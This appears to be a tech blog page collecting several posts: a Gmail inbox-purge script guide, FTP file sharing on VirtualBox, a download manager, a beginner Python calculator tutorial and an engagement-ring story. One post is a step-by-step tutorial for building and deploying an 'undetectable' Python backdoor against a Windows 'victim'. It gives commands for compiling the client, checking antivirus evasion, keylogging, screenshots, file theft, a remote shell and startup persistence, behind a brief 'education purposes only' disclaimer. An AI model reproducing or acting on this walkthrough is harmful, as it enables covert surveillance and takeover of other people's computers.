Featured

    Featured Posts

Purge your gmail inbox with this python script

My gmail inbox is full. Cleansing almost 400k of emails from my inbox manually is impossible, so I decided to put into usage a very useful Python script which I found on Github after hours of research. 

Being able to run the script in the background, I managed to cleanse almost 22k emails in a 4 hours period of time. Although not the best tool available, the fact it is open source and free, makes it the best option for my own case.

Download the tool from Github

Make use of the following command to download the source code from the official repository.
git clone https://github.com/marin117/Gmail-deleter.git

How to setup the script on your own machine

Having tested the tool with Python 2.7, I have come to the conclusion that such version of Python is the right one for setting up the environment. As for the dependencies, a virtual environment is required. The following command can help you to setup a fresh virtual environment inside the project's root.
virtualenv -p /usr/bin/python env
source env/bin/activate 
Then install the requirements with the help of the following command.
pip install -r requirements.txt
Once you have managed to successfully install the requirements on your own machine, then comment the following lines.
#import matplotlib.pyplot as plt # on google_client.py
#import matplotlib.pyplot as plt # on gmail_deleter.py
The last thing is to enable the Gmail API and save the credentials.json inside the project's root directory.
Click on Create and then download the configuration.

Once you have downloaded it, save it inside the project's root directory. Such step is required for the authentication. Now you are ready for the purge.

Purge your gmail inbox

The initiation of the purge is as simple as typing the following command while being inside the project's root directory.
python src/gmail_deleter.py
Once the above command is being executed successfully then the following will come up.

Choose the first option as shown below.
1

And let the purging take place. Enjoy the script in the background while working on your daily tasks.
Copyright hackermilk.info

Python Backdoor, fully undetectable and rich in features

Introduction


Python-Backdoor is a fully undetectable backdoor written entirely in Python with the main purpose of  contributing to the cybersecurity field. Rich in features, although it's server can be operated from the whole range of well known operating systems, it targets the Windows machine.

Having tested this cyber weapon on my own lab, I came to the conclusion that such tool is worth being shared with anyone who is passionate about computer security, or penetration testing.

Features

  • Multi-client support
  • Cross-platform server
  • Builtin-keylogger
  • Ability to send command to all clients
  • Ability to capture screenshots
  • Ability to upload/download files
  • Ability to send messages
  • Ability to run at startup
  • Ability to browse files
  • Ability to dump user info
  • Ability to open remote cmd
  • Ability to open remote python interpreter
  • Ability to disable task manager
  • Ability to shutdown/restart/lock pc
  • Ability to melt file on startup

How to setup the Python-Backdoor on your own lab

According to the official documentation shared on the author's Github page, Python-Backdoor requires Python 3.6 or Python 3.7. As for the building of the client, a Windows box is required.

Download the project from the official repository

Run the following command to download the source code for the Python-Backdoor.
git clone https://github.com/xp4xbox/Python-Backdoor.git

Create a virtual environment and install the requirements

Before installing all the python packages required by the project, it is required that you create a fresh virtual environment inside the project's root directory.
cd Python-Backdoor
virtualenv -p /usr/local/bin/python3.7 env
Once you have managed to create the virtual environment install the requirements with the following command.
source env/bin/activate # activate the virtual environment
pip install -r requirements.txt

Setup the victim machine

As for the victim machine, I am going to setup a Windows 10 operating system on my Virtualbox. Not only I am going to infect it, but I am also going to use it for building the client.

Make sure to have Python 3.7 or 3.8 installed on the target machine.

Generate the virus

Once you have managed to download the Python-Backdoor on your Windows machine, make sure to navigate to it and run the following command to install the requirements.
pip install -r requirements.txt
Then edit the following line with the server's IP address on client.py so the virus connects to the server.
strHost = "127.0.0.1"


Then run the following command to finally generate the executable virus.
pyinstaller client.py --exclude-module FixTk --exclude-module tcl --exclude-module tk --exclude-module _tkinter --exclude-module tkinter --exclude-module Tkinter --onefile --windowed


If everything goes fine, you can easily locate the client under the subdirectory dist of the project.

Scan the virus client

It is always a good idea to scan the client with the whole antiviruses available on the target machine; for the purpose of this tutorial I am scanning the fresh client with Microsoft Defender.

Start the server

Before running the client on the target machine, it is required that you start the server. The following command can help to do that.
python server.py # make sure to be inside the project, server side

Run the client on the target

Once you have managed to launch the server on the host machine, go on the target machine and run the client as a normal program.

If everything goes fine, you should get a connection on the server side like shown below.

Interact with the connection

To interact with the connection type the following command.
--i 0 # 0 is the id of the session

Get information on the user

Getting information on the user running the target machine can be achieved with the help of the following command.
--u

Take a screenshot on the target

Taking a screenshot on the victim machine is as easy as typing the following command on the server side.
--p

Start a keylogger on the target machine

To start a keylogger on the victim's machine, just type the following command.
--k start
When you're done, dump the logged data with the following command.
--k dump
The logged data is going to be printed out on the console.

Send a message to the user

The Python-Backdoor offers the option to troll with the victim. Such option is shown in the following command.
--m Hello from space

Download files from the target machine

To download files from the target machine, type the following command.
--r
Then provide the full path of the file you want to download.

Open a remote Python interpreter

It is also possible to run a Python interpreter on the remote machine. The following command can help you to do that.
--i 

Open a remote command prompt

To open a remote shell, type the following command.
--e

Add the rat to startup

Such feature is extremely useful as it automatically triggers a connection back to the server each time the user restarts the target machine.
--a 1

Restart the user

The command to restart the user is being shown below.
--x 2 

Conclusion

Having covered the most important and useful features offered by the Python-Backdoor, it is up to you to further explore and see its abilities in live situations. Being fluent in Python, I find this cyber weapon truly easy to setup and operate.

Disclaimer: Education purposes only.

Copyright hackermilk.info

How to share files from os x host to windows guest on virtualbox via ftp

There are various reasons why one may want to share files from his OS X machine to guests on VirtualBox. No matter the reason, the option offered by default in Oracle VM VirtualBox, does not work straight away.

With the main purpose of easing the struggle of those who are facing a hard time while trying to share files with their guests on VirtualBox, I decided to give some clear and concise instructions as an alternative solution to the problem.

Requirements

  • FTP server on OS X
  • FTP client on guest machine

Launch the FTP server on OS X

The OS X operating system has an FTP server installed by default. It can be easily activated with the help of the following command on the console.
sudo -s launchctl load -w /System/Library/LaunchDaemons/ftp.plist
Once you have managed to start the FTP server on your local OS X machine, you need to find out the IP address of the machine so you can use it later when connecting from the client.

Find out the IP address of the OS X machine 

Run the following command on your terminal console and the IP address will get printed out. Make sure to save it on a text file for later usage.
ifconfig

Start the FTP connection from the guest on Virtualbox

Offering an FTP client by default, we can easily initiate a connection from the Windows guest by making use of the following command.
ftp 192.168.0.10
Note: Make sure to put the IP address of your OS X host machine.

Provide the correct username and password when asked, and be ready to download the files from the FTP server.

Download files from the FTP server

Downloading files from the FTP server is as easy as typing the command get and the absolute path of the file after it.
get /Users/oltjano/Desktop/nc.exe
As you can easily spot from the above illustration, the command for performing the task of file download is simple and very practical.

Download all the files from the directory

In case you need to download multiple files from the FTP server, all you need to do is type the following command while being in the directory containing the files.
mget *
Copyright hackermilk.info

An open source alternative to Internet Download Manager written in Python, pyIDM


Most of the computer geeks are familiar with the Internet Download Manager tool. Although it is one of the best among download managers; being a soldier of open source software, I decided to share pyIDM as an alternative for anyone who is passionate about computer programming. 

According to the official documentation shared on the Github platform, pyIDM supports multi-connections at a high speed due to its download engine which relies entirely on LibCurl.

How to install the requirements for running pyIDM on your machine

Depending entirely on Python open source libraries, it is a good idea to create a fresh virtual environment inside the project's root directory after having cloned it.
git clone https://github.com/pyIDM/pyIDM.git
Navigate to the pyIDM project's directory by using the command which corresponds to your own operating system. Being a Unix based user, the cd command accomplishes the task for me.
cd pyIDM
Create a fresh virtual environment inside the directory by making use of a Python executable which is of version 3.6 or higher.
virtualenv -p /usr/local/bin/python3.7 env
Then activate the virtual environment and install all the dependencies of the project by making use of the commands shown below.
source env/bin/activate
pip install certifi PySimpleGui pyperclip plyer youtube_dl pycurl
Once you have managed to install the entire packages successfully, you can easily run the program with the help of the command shown below.
python pyIDM
The following should prompt.

Let's do a simple download by providing the url of a Youtube video like shown in the following screenshot.
Then choose the quality of the video stream which you want to download.
Click on the Download button and let pyIDM accomplish the task for you.
Under Setting tab, you can easily tweak the maximum connections per download; ranging from 1 to 100.

There are many themes offered by pyIDM which you can choose from. Just go under Setting and see for yourself.

Copyright hackermilk.blogspot.com 

How to write a very simple calculator in Python as a complete beginner programmer


As I progress with my journey as a computer coder, I have realized that for one to master the art of writing scripts and applications, hours of practice matter more than months of study being spent on How To Program books. Reading theory about computer programming matters, but it does not make one a code writer. Based on such conclusion, I have decided to share real world scenarios materialized in computer code, mostly Python.

Through this article you're going to learn how to put in practice basic concepts in Python with the main purpose of pushing your skills to the next level as a doer, instead of just a thinker.

Although once finished you will end up with a simple calculator which supports basic maths, at least you will know how to properly make use of builtin utilities such as input, def statements and the while True loop.

The logic behind the calculator 

The calculator should display information on the supported operations during its initial execution, ask the user for custom input, perform the specified task and print the result on the console. Being more concrete, the following should appear on the console once the program is executed for the first time.
The 'add' option activates addition.
The 'divide' option activates division.
The 'multiply' option activates multiplication
The 'subtract' option activates subtraction.
The 'powers' option raises a number to the power of another.
The 'sqrt' option finds the square root of a number.
Input your command:
The above should be stored inside a function so the program can call it constantly inside the while True loop. The following is the pseudocode which helps to create a visual idea on your mind on how the above output should be materialized as part of the Python program.
def calc_info():
    print("The 'add' option activates addition.")
The name of the function is calc_info, but it does not really matter as long as it is readable and describes itself properly.

Since the calculator is supposed to constantly ask the user for an option, the above function should be placed inside the while True statement which helps to run the program forever.

Being concrete, the following pseudocode should be useful to you.
while True:
    calc_info()
As you may have guessed, once the information on the supported operations is displayed on the console, the program should ask the user for custom input. Fortunately for us, Python has a builtin utility called input, which prompts the user for input.

The input utility should be placed inside the while True loop, just like the calc_info().
while True:
    calc_info()
    command = input("Input your command:")
As for now, just focus on the logic behind the application, the algorithm which is going to give life to our calculator.

The operation which the calculator is going to perform depends directly on the custom input provided by the user, input which is stored to the variable command as a string. Once the program has managed to store the user's input data, the program should perform checks on it through conditional statements.
if user_input == 'add':
    # do addition
elif user_input == 'multiply':
    # do multiplication
else:
    print("Your command should be in supported operations")
Another function is required to store the while True loop and the conditional statements.
def calc():
    while True :
        calc_info() 
        command = input("Input your command:")
        if user_input == 'add':
            # do addition
        elif user_input == 'multiply':
            # do multiplication
        else:
            print("Your command should be in supported operations")

Implementation of the calculator in pure Python code

Note: Before going any further, make sure to create a file called mycalc.py so you can save the code being shared through this article.

The function calc_info should be composed of multiple print statements which inform the user on the supported operations by our simple calculator. Once the above function is executed it runs the multiple print statements and displays information on the console. With the main purpose of demonstrating the role of the above function, run a Python interactive shell and type the following.
from mycalc import calc_info
calc_info()
The result of the above code's execution should be similar to the output shown below.
The 'add' option activates addition.
The 'divide' option activates division.
The 'multiply' option activates multiplication
The 'subtract' option activates subtraction.
The 'powers' option raises a number to the power of another.
The 'sqrt' option finds the square root of a number.
The 'cos' option finds the cosine of a number.
With the help of a new function, we implement the main logic behind the calculator.
The custom function calculator activates the while True statement, a Python's builtin which runs the program forever. As you can see from the piece of code shown above, the program asks the user for custom input, checks it through a conditional statement and performs the requested operation. With the main purpose of demonstrating the above code in action, run the following in the Python's interactive shell.
from mycalc import calculator
calculator()
Once the above has been finished executing in the Python's interactive shell the following should be displayed on the console.
The 'add' option activates addition.
The 'divide' option activates division.
The 'multiply' option activates multiplication.
The 'subtract' option activates subtraction.
The 'powers' option raises a number to the power of another.
The 'sqrt' option finds the square root of a number.
The 'cos' option finds the cosine of a number.
Enter your command:
Type the following when the program prompts your for input.
'add'
If everything works like it should, the program will prompt you again for input.
Enter the first number: 5
Make sure to enter the first number. Once done, the program will prompt you again for the second number.
Enter the second number: 10
Same thing as with the first number here. Just type the second number which you want to add to the first one. Once done, the program will display the result on the console and start again from the beginning.
The result is 15.0
The 'add' option activates addition.
The 'divide' option activates division.
The 'multiply' option activates multiplication.
The 'subtract' option activates subtraction.
The 'powers' option raises a number to the power of another.
The 'sqrt' option finds the square root of a number.
The 'cos' option finds the cosine of a number.
Enter your command:
Theoretically the program should run forever since the logic behind the application is placed under the while True statement. Hit CTRL + C on your keyboard to interrupt the program.

For the calculator to support other operations such as multiplication, division and all the rest; other input checks should be performed.
Keep in mind to always test the code as you write it. As for now restart the Python's interactive shell and experiment with the rest of the operations supported by the calculator.
from mycalc import calculator
calculator()
Let's test if the operation division works properly.
The 'add' option activates addition.
The 'divide' option activates division.
The 'multiply' option activates multiplication.
The 'subtract' option activates subtraction.
The 'powers' option raises a number to the power of another.
The 'sqrt' option finds the square root of a number.
The 'cos' option finds the cosine of a number.
Enter your command:'divide'
The program is going to prompt again, asking for the numbers.
Enter the first number:4
Enter the second number:2
As shown earlier, the program will display the result on the console and later ask the user for another command.
The result is 2.0
The 'add' option activates addition.
The 'divide' option activates division.
The 'multiply' option activates multiplication.
The 'subtract' option activates subtraction.
The 'powers' option raises a number to the power of another.
The 'sqrt' option finds the square root of a number.
The 'cos' option finds the cosine of a number.
Enter your command:
The only thing left is to code the sqrt and cos operations. As you may be aware, the operation sqrt finds the square of a given number, the operation cos finds the cosine of a given number. Fortunately for us, Python has a builtin library which has implemented solutions for such operations.

Type the following command on your Python's interactive shell.
import math
Then find the square root of a number through the following method.
math.sqrt(64)
8.0
As for the cosine of a number, the following method can be used.
math.cos(20)
0.40808206181339196
The final code is being shown below. The following command can be used to run the calculator.
python mycalc.py
Copyright hackermilk.blogspot.com

Man creates engagement ring from scratch with the help of free software, his girlfriend accepts the proposal


Love motivates people to move mountains. Having experienced unconditional love myself, I have truly realized its power. As far as my experience goes with it, true love makes one feel like a little child again...

Powered by unconditional love, an anonymous man who has shared a small part of his love story with the Internet through reddit.com, has managed to perfectly craft a very special engagement ring for his girlfriend. Although not a professional jeweler, the amatuer handyman has produced such a result that anyone in the jewelery business would envy!

According to the original post the final ring produced is a Sterling silver with a 5.5 mm moissanite, presented beneath the old growth redwoods in Big Basin State Park. 


The man behind the authentic engagement story has also detailed almost the entire steps he went through to craft the special ring for his girlfriend. At the beginning, Google SketchUp was used to model the bijouterie as a third dimensional object.

   
With absolutely zero 3D modeling experience, figuring out what intermediate structures to use as part of the sketch was one of hardest part for the handyman behind the love story. By using a Bezier curve and parallel circles like shown in the following picture, the 'hacker' produced the basic shape of the band.


Then with the help of the Curviloft plugin which is part of the Google SketchUp software, the handyman advanced his project to the point that it started to take shape, he got exactly a 3D looking object.

The 3D band after the handyman threw perpendicular circles on the path that represents cross sections

What in the beginning were just simple two dimensional figures, transformed to a third dimensional object that gave the man in love the feeling of a real ring. Regardless of the fact that the initial idea started to materialize in the Google SketchUp software, the handyman had to face many obstacles until the completion of his project.

One of the many obstacles which the handyman behind the self made ring had to go through, was the creation of the prongs. 


Yes, those parts that hold the stone of the ring fixed. Without one, the self made ring would be a total failure, an uncompleted project; an ugly piece of jewelery!

Having been through many hardships and tough situations in my life, I know its beauty stands within the struggle. Another time, the Bezier curve with circular cross sections saved the handyman.


Once he made sure that he had the prongs, a gem in the default repository helped him to get the ring ready for third dimensional prototyping.  

Not being sure yet about the size of the stone, even after asking his women, the handyman uploaded his project on  shapeways.com with the main purpose of  materializing the model as a physical object so they could test it. 


Having three different stones, respectively 5.0 mm, 5.5 mm and 6.0 mm, they decided to go with the 5.5 mm one as it suited the best. After a few rounds of prototyping in plastic materials, the handyman finally decided to go to the final print. 


For those who are interested in the total cost of the above ring, the following list with the expenses can be a good help.

  • Plastic prototypes: ~$4 per part + $5 shipping per iteration. All said and done, ~$40 for me.
  • Sterling Silver Ring: The ring was so small, that this was just the minimum on Shapeways, $35 + $5 shipping per iteration.
  • 5.5 mm Moissanite: $200 from Moissanite Co.
  • Professional setting: $75 from my local Jeweler -- avoid big national jewelers who would prefer to sell you a new ring than set yours. My local jeweler was wonderful and did a great job.
  • Box: $8.

When things are done with passion and love, it is possible to make gold out of mud! 

www.CodeNirvana.in

Blog Archive

Recent Posts

Translate

Total Pageviews